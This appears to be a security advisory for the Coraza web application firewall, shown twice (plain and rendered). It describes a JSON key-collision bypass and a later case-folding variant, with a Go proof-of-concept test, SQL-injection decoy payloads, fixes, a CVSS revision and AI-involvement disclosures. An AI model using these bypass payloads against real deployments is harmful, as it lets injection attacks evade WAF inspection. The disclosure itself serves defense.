Summary
Coraza's JSON body processor converts nested JSON properties into dot-separated ARGS_POST names without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variable
An unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:
{
"account": {
"role": "1' OR '1'='1"
},
"account.role": "safe"
}
Coraza stores both properties as ARGS_POST:json.account.role; the later value safe replaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value as account.role.
This bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule 949110. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.
Details
The affected component is the JSON body processor in internal/bodyprocessors/json.go.
readJSON creates a single map[string]string and begins every generated path with json:
func readJSON(s string, maxRecursion int) (map[string]string, error) {
res := make(map[string]string)
key := []byte("json")
json := gjson.Parse(s)
err := readItems(json, key, maxRecursion, res)
// ...
}
Source: internal/bodyprocessors/json.go, lines 81-94.
For every object level, readItems appends a literal dot followed by the unescaped property name:
prevParentLength := len(objKey)
objKey = append(objKey, '.')
if key.Type == gjson.String {
objKey = append(objKey, key.Str...)
}
Source: internal/bodyprocessors/json.go, lines 111-120.
Scalar values are stored in the map using the resulting flattened string:
res[string(objKey)] = val
Source: internal/bodyprocessors/json.go, lines 122-145.
This produces a collision:
Nested property: {"account":{"role":"ATTACK"}}
Generated Coraza key: json.account.role
Literal dotted key: {"account.role":"SAFE"}
Generated Coraza key: json.account.role
Because both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary ARGS_POST collection.
ProcessRequest subsequently copies only the final map entries into ARGS_POST:
data, err := readJSON(ss, bpo.RequestBodyRecursionLimit)
for key, value := range data {
col.SetIndex(key, 0, value)
}
Source: internal/bodyprocessors/json.go, lines 29-39.
The JSON remains valid, so Coraza does not set REQBODY_ERROR. A normal backend parser does not flatten property names and therefore keeps the nested account.role value separate from the literal top-level "account.role" property.
Coraza's recommended configuration enables JSON processing, and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.
The bypass was reproduced against CRS v4.25 under all of the following configurations:
- Default build
coraza.no_memoize
coraza.rule.multiphase_evaluation
coraza.rule.no_regex_multiline
PoC
The PoC uses Coraza's existing CRS regression module and its pinned github.com/corazawaf/coraza-coreruleset/v4 dependency. It proves three facts:
-
CRS blocks the malicious nested value when no collision exists.
-
The dotted decoy makes the same CRS configuration permit the request.
-
Go's standard JSON parser still exposes the malicious nested value to the backend.
-
Save the following file as testing/coreruleset/json_collision_security_test.go:
package coreruleset
import (
"encoding/json"
"os"
"path/filepath"
"strings"
"testing"
"github.com/corazawaf/coraza/v3"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
)
func TestJSONFlattenedKeyCollisionBypassesCRS(t *testing.T) {
recommended, err := os.ReadFile(
filepath.Join("..", "..", "coraza.conf-recommended"),
)
if err != nil {
t.Fatal(err)
}
cfg := coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(string(recommended)).
WithDirectives("SecRuleEngine On").
WithDirectives("Include @crs-setup.conf.example").
WithDirectives("Include @owasp_crs/*.conf")
waf, err := coraza.NewWAF(cfg)
if err != nil {
t.Fatal(err)
}
tests := []struct {
name string
body string
wantBlock bool
}{
{
name: "attack without collision is blocked",
body: `{"account":{"role":"1' OR '1'='1"}}`,
wantBlock: true,
},
{
name: "same attack with dotted decoy bypasses CRS",
body: `{"account":{"role":"1' OR '1'='1"},` +
`"account.role":"safe"}`,
wantBlock: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// Prove what a normal backend sees before running Coraza.
var backend struct {
Account struct {
Role string `json:"role"`
} `json:"account"`
}
if err := json.NewDecoder(strings.NewReader(tt.body)).Decode(&backend); err != nil {
t.Fatal(err)
}
if backend.Account.Role != "1' OR '1'='1" {
t.Fatalf("backend lost attack value: %q", backend.Account.Role)
}
tx := waf.NewTransaction()
defer tx.Close()
tx.ProcessConnection("127.0.0.1", 12345, "127.0.0.1", 80)
tx.ProcessURI("/", "POST", "HTTP/1.1")
tx.AddRequestHeader("Host", "localhost")
tx.AddRequestHeader("User-Agent", "security-test")
tx.AddRequestHeader("Content-Type", "application/json")
if interruption := tx.ProcessRequestHeaders(); interruption != nil {
t.Fatalf("unexpected header interruption: %#v", interruption)
}
interruption, _, err := tx.WriteRequestBody([]byte(tt.body))
if err != nil || interruption != nil {
t.Fatalf("body write: interruption=%#v error=%v", interruption, err)
}
interruption, err = tx.ProcessRequestBody()
if err != nil {
t.Fatal(err)
}
blocked := interruption != nil
t.Logf("blocked=%v interruption=%#v", blocked, interruption)
if blocked != tt.wantBlock {
t.Fatalf("blocked=%v, want %v", blocked, tt.wantBlock)
}
})
}
}
- Run the default-build test:
cd testing/coreruleset
go test -run TestJSONFlattenedKeyCollisionBypassesCRS -v
- Expected reproduction output:
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS/attack_without_collision_is_blocked
blocked=true interruption=&types.Interruption{RuleID:949110, Action:"deny", Status:403, Data:""}
=== RUN TestJSONFlattenedKeyCollisionBypassesCRS/same_attack_with_dotted_decoy_bypasses_CRS
blocked=false interruption=(*types.Interruption)(nil)
--- PASS: TestJSONFlattenedKeyCollisionBypassesCRS
PASS
- The build-tag variants can be reproduced with:
go test -tags=coraza.no_memoize -run TestJSONFlattenedKeyCollisionBypassesCRS -v
go test -tags=coraza.rule.multiphase_evaluation -run TestJSONFlattenedKeyCollisionBypassesCRS -v
go test -tags=coraza.rule.no_regex_multiline -run TestJSONFlattenedKeyCollisionBypassesCRS -v
All four configurations produced the same result: the control was blocked by CRS rule 949110, while the collision request passed without interruption.
Impact
This is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.
An unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.
The primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:
- SQL injection payloads
- operating-system command injection payloads
- cross-site scripting payloads
- server-side template injection payloads
- path traversal and local-file-inclusion payloads
- language- or framework-specific exploit strings
- forbidden application values inspected by custom SecLang rules
The PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.
Applications that deserialize nested JSON objects are impacted. For example, Node.js applications using JSON.parse or JSON middleware and Go applications using encoding/json preserve the nested malicious value separately from the literal dotted property.
The final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.
The remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection
Follow-up (2026-09-30): case-folding variant still overwrites values
The "Resolution" section above states values are copied into
ARGS_POST/RESPONSE_ARGS via SetIndex(key, i, value) so that a colliding
key becomes a multi-valued collection entry. That closes the collision this
advisory originally reported (two flattened keys with byte-identical text),
but a second, distinct collision shares the exact same failure mode and was
found while verifying the fix.
Root cause
ARGS_POST is case-insensitive by default (case-sensitive only under the
coraza.rule.case_sensitive_args_keys build tag), and RESPONSE_ARGS is
always case-insensitive regardless of that tag
(internal/corazawaf/transaction.go:1929). Two flattened keys that differ
only by case -- json.account.role vs json.account.Role -- are distinct
entries in readJSON's own case-sensitive intermediate map
(map[string][]string), but fold to the same collection bucket once
written through SetIndex:
// internal/bodyprocessors/json.go, ProcessRequest / ProcessResponse
for key, values := range data {
for i, value := range values {
col.SetIndex(key, i, value)
}
}
Each SetIndex(key, i, value) call addresses index i of whatever bucket
key case-folds to, with no knowledge that a different-cased key is also
writing to that same bucket. Iteration order over data (a plain Go map) is
randomized, so whichever of the two keys is visited second overwrites
index 0 of whichever was visited first -- deterministically leaving
exactly one survivor every single request, just an unpredictable one.
PoC
{"account":{"role":"1' OR '1'='1","Role":"safe"}}
Over 200 trials of readJSON + SetIndex against this body, the attack
value (1' OR '1'='1) survived only 22 times (11%); the harmless value
(safe) silently replaced it the other 178 times. With CRS v4.25 and the
recommended configuration, an equivalent SQLi rule blocked only 8/100
requests with one decoy key and 14/100 with seven decoy keys planted at
different case variants -- both Node.js and Python's JSON parsers keep
role = "1' OR '1'='1" in every case, so this is a real bypass, not a
parser-disagreement edge case. RESPONSE_ARGS is affected identically, and
remains affected even when Coraza is built with
coraza.rule.case_sensitive_args_keys, since that tag does not change
RESPONSE_ARGS's case-insensitivity.
Fix
Use col.Add(key, value) instead of col.SetIndex(key, i, value). Add
always appends regardless of any index, so both a same-case collision (this
advisory's original case: one data key holding an ordered slice of values)
and a case-folding collision (two different data keys landing in the same
bucket) end up with every value preserved. The existing regression test for
the original collision
(TestJSONProcessRequestDottedKeyDoesNotHideNestedValue, which asserts a
specific value order) still passes unchanged, since a single data key's
own value order is unaffected by switching from indexed writes to appends. A
new TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue (order
independent, since the two colliding values now come from different data
keys whose relative processing order is randomized) fails deterministically
against the pre-fix code (asserts 2 values, gets 1, every run) and passes
after the fix.
Full suite, build-tag matrix (coraza.no_memoize,
coraza.rule.multiphase_evaluation, coraza.rule.no_regex_multiline,
coraza.rule.case_sensitive_args_keys), and testing/coreruleset CRS
regression suite all pass. ADR-0058 has been amended with the same
follow-up note (still proposed, so amending in place is appropriate rather
than superseding it).
AI involvement disclosure
- AI tools/models used: Claude Sonnet 5 (Anthropic), via Claude Code.
- What was generated/assisted: the vulnerability hypothesis and repro
shape (including the CRS block-rate figures) were supplied by the
reporter as an existing written finding; Claude Sonnet 5 independently
re-derived the root cause by reading the current source
(internal/bodyprocessors/json.go, internal/collections/map.go),
reproduced the overwrite empirically (200-trial measurement against
commit 19b86824), verified the fix closes the gap, and drafted this
addendum and the ADR-0058 amendment.
- Review performed: reproduced by hand against a clean checkout of
commit 19b86824 before and after the fix, confirming the pre-fix code
always yields exactly one survivor (never both, never neither) and the
post-fix code always yields both; added and ran
TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue, confirmed it
fails against the pre-fix code and passes against the fix, and confirmed
the pre-existing TestJSONProcessRequestDottedKeyDoesNotHideNestedValue
(order-sensitive) still passes unchanged; ran the full test suite, the
build-tag matrix, and the testing/coreruleset CRS regression suite, all
green; reviewed by a human maintainer (fzipi) before this addendum was
submitted.
Fix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2
Patched in 3.8.1
The 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (role / Role) no longer overwrite each other in ARGS_POST and RESPONSE_ARGS, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.
Severity (revised 2026-10-02)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N (5.8, Medium).
Attack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (S:U/I:H, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.
Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.
AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the S:C/I:L impact convention and directed this update.
Summary
Coraza's JSON body processor converts nested JSON properties into dot-separated
ARGS_POSTnames without escaping dots contained in literal property names. Two distinct JSON properties can therefore collapse into the same Coraza variableAn unauthenticated attacker can place a malicious value in a nested property and then overwrite only Coraza's representation with a harmless dotted property:
{ "account": { "role": "1' OR '1'='1" }, "account.role": "safe" }Coraza stores both properties as
ARGS_POST:json.account.role; the later valuesafereplaces the SQL-injection value. Standard backend JSON parsers preserve the two distinct properties and expose the malicious nested value asaccount.role.This bypasses the complete current OWASP Core Rule Set (CRS) for the hidden value. In the supplied control-pair PoC, CRS v4.25 blocks the nested SQL-injection value with rule
949110. Adding the dotted decoy makes the same attack pass with no interruption, while Go's standard JSON parser still returns the malicious nested value.Details
The affected component is the JSON body processor in
internal/bodyprocessors/json.go.readJSONcreates a singlemap[string]stringand begins every generated path withjson:Source:
internal/bodyprocessors/json.go, lines 81-94.For every object level,
readItemsappends a literal dot followed by the unescaped property name:Source:
internal/bodyprocessors/json.go, lines 111-120.Scalar values are stored in the map using the resulting flattened string:
Source:
internal/bodyprocessors/json.go, lines 122-145.This produces a collision:
Because both values use the same Go map key, the property appearing later in the JSON document overwrites the earlier value. The malicious value no longer exists anywhere in the ordinary
ARGS_POSTcollection.ProcessRequestsubsequently copies only the final map entries intoARGS_POST:Source:
internal/bodyprocessors/json.go, lines 29-39.The JSON remains valid, so Coraza does not set
REQBODY_ERROR. A normal backend parser does not flatten property names and therefore keeps the nestedaccount.rolevalue separate from the literal top-level"account.role"property.Coraza's recommended configuration enables JSON processing, and OWASP CRS rules inspect the generated argument collection. This makes the issue reachable in a standard Coraza and CRS deployment.
The bypass was reproduced against CRS v4.25 under all of the following configurations:
coraza.no_memoizecoraza.rule.multiphase_evaluationcoraza.rule.no_regex_multilinePoC
The PoC uses Coraza's existing CRS regression module and its pinned
github.com/corazawaf/coraza-coreruleset/v4dependency. It proves three facts:CRS blocks the malicious nested value when no collision exists.
The dotted decoy makes the same CRS configuration permit the request.
Go's standard JSON parser still exposes the malicious nested value to the backend.
Save the following file as
testing/coreruleset/json_collision_security_test.go:All four configurations produced the same result: the control was blocked by CRS rule
949110, while the collision request passed without interruption.Impact
This is a parser differential and WAF inspection bypass affecting Coraza deployments that inspect JSON, including deployments using the current OWASP Core Rule Set.
An unauthenticated attacker can hide any malicious nested scalar value by adding a later top-level property whose literal dotted name collides with the path Coraza generates. Coraza and CRS inspect only the harmless replacement value, while backend JSON parsers retain and expose the malicious nested value.
The primitive is not limited to SQL injection. It removes the attacker-selected value from the collection evaluated by CRS, so it applies to nested values containing:
The PoC demonstrates a stock CRS SQL-injection detection bypass: the same backend-visible attack changes from a 403 denial to an allowed request solely by adding the colliding decoy property.
Applications that deserialize nested JSON objects are impacted. For example, Node.js applications using
JSON.parseor JSON middleware and Go applications usingencoding/jsonpreserve the nested malicious value separately from the literal dotted property.The final confidentiality, integrity, or availability impact depends on the backend vulnerability that CRS was deployed to mitigate. The Coraza security boundary failure itself is broad and reliable: arbitrary attacker-selected nested JSON values can be removed from normal rule inspection without making the JSON invalid or raising a body-processing error.
The remediation must make flattened paths unambiguous. Literal property-name separators must be escaped or encoded so that a nested path and a property containing dots cannot produce the same collection key. Coraza should also preserve multiple source values rather than silently overwriting a prior value when a generated-key collision occurs. A collision should never remove content from WAF inspection
Follow-up (2026-09-30): case-folding variant still overwrites values
The "Resolution" section above states values are copied into
ARGS_POST/RESPONSE_ARGSviaSetIndex(key, i, value)so that a collidingkey becomes a multi-valued collection entry. That closes the collision this
advisory originally reported (two flattened keys with byte-identical text),
but a second, distinct collision shares the exact same failure mode and was
found while verifying the fix.
Root cause
ARGS_POSTis case-insensitive by default (case-sensitive only under thecoraza.rule.case_sensitive_args_keysbuild tag), andRESPONSE_ARGSisalways case-insensitive regardless of that tag
(
internal/corazawaf/transaction.go:1929). Two flattened keys that differonly by case --
json.account.rolevsjson.account.Role-- are distinctentries in
readJSON's own case-sensitive intermediate map(
map[string][]string), but fold to the same collection bucket oncewritten through
SetIndex:Each
SetIndex(key, i, value)call addresses indexiof whatever bucketkeycase-folds to, with no knowledge that a different-cased key is alsowriting to that same bucket. Iteration order over
data(a plain Go map) israndomized, so whichever of the two keys is visited second overwrites
index 0 of whichever was visited first -- deterministically leaving
exactly one survivor every single request, just an unpredictable one.
PoC
{"account":{"role":"1' OR '1'='1","Role":"safe"}}Over 200 trials of
readJSON+SetIndexagainst this body, the attackvalue (
1' OR '1'='1) survived only 22 times (11%); the harmless value(
safe) silently replaced it the other 178 times. With CRS v4.25 and therecommended configuration, an equivalent SQLi rule blocked only 8/100
requests with one decoy key and 14/100 with seven decoy keys planted at
different case variants -- both Node.js and Python's JSON parsers keep
role = "1' OR '1'='1"in every case, so this is a real bypass, not aparser-disagreement edge case.
RESPONSE_ARGSis affected identically, andremains affected even when Coraza is built with
coraza.rule.case_sensitive_args_keys, since that tag does not changeRESPONSE_ARGS's case-insensitivity.Fix
Use
col.Add(key, value)instead ofcol.SetIndex(key, i, value).Addalways appends regardless of any index, so both a same-case collision (this
advisory's original case: one
datakey holding an ordered slice of values)and a case-folding collision (two different
datakeys landing in the samebucket) end up with every value preserved. The existing regression test for
the original collision
(
TestJSONProcessRequestDottedKeyDoesNotHideNestedValue, which asserts aspecific value order) still passes unchanged, since a single
datakey'sown value order is unaffected by switching from indexed writes to appends. A
new
TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue(orderindependent, since the two colliding values now come from different
datakeys whose relative processing order is randomized) fails deterministically
against the pre-fix code (asserts 2 values, gets 1, every run) and passes
after the fix.
Full suite, build-tag matrix (
coraza.no_memoize,coraza.rule.multiphase_evaluation,coraza.rule.no_regex_multiline,coraza.rule.case_sensitive_args_keys), andtesting/corerulesetCRSregression suite all pass. ADR-0058 has been amended with the same
follow-up note (still
proposed, so amending in place is appropriate ratherthan superseding it).
AI involvement disclosure
shape (including the CRS block-rate figures) were supplied by the
reporter as an existing written finding; Claude Sonnet 5 independently
re-derived the root cause by reading the current source
(
internal/bodyprocessors/json.go,internal/collections/map.go),reproduced the overwrite empirically (200-trial measurement against
commit
19b86824), verified the fix closes the gap, and drafted thisaddendum and the ADR-0058 amendment.
commit
19b86824before and after the fix, confirming the pre-fix codealways yields exactly one survivor (never both, never neither) and the
post-fix code always yields both; added and ran
TestJSONProcessRequestCaseVariantKeyDoesNotHideNestedValue, confirmed itfails against the pre-fix code and passes against the fix, and confirmed
the pre-existing
TestJSONProcessRequestDottedKeyDoesNotHideNestedValue(order-sensitive) still passes unchanged; ran the full test suite, the
build-tag matrix, and the
testing/corerulesetCRS regression suite, allgreen; reviewed by a human maintainer (fzipi) before this addendum was
submitted.
Fix: https://github.com/corazawaf/coraza-ghsa-5gj4-9gm7-2fx2/pull/2
Patched in 3.8.1
The 3.8.0 fix was incomplete. 3.8.1 completes it: JSON object keys that differ only in case (
role/Role) no longer overwrite each other inARGS_POSTandRESPONSE_ARGS, which are case-insensitive by default. Upgrade to 3.8.1; 3.8.0 is listed as affected.Severity (revised 2026-10-02)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N(5.8, Medium).Attack Complexity is Low: every mainstream JSON parser keeps the colliding properties apart, so the request alone triggers the discrepancy. The previous vector (
S:U/I:H, 7.5 High) scored the bypass as a direct, total integrity loss; it is scored here like Coraza's other inspection bypasses.Impact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.
AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, "CVSS preconditions get verified, not copied from the report") and drafted this text. A human maintainer (fzipi) chose the
S:C/I:Limpact convention and directed this update.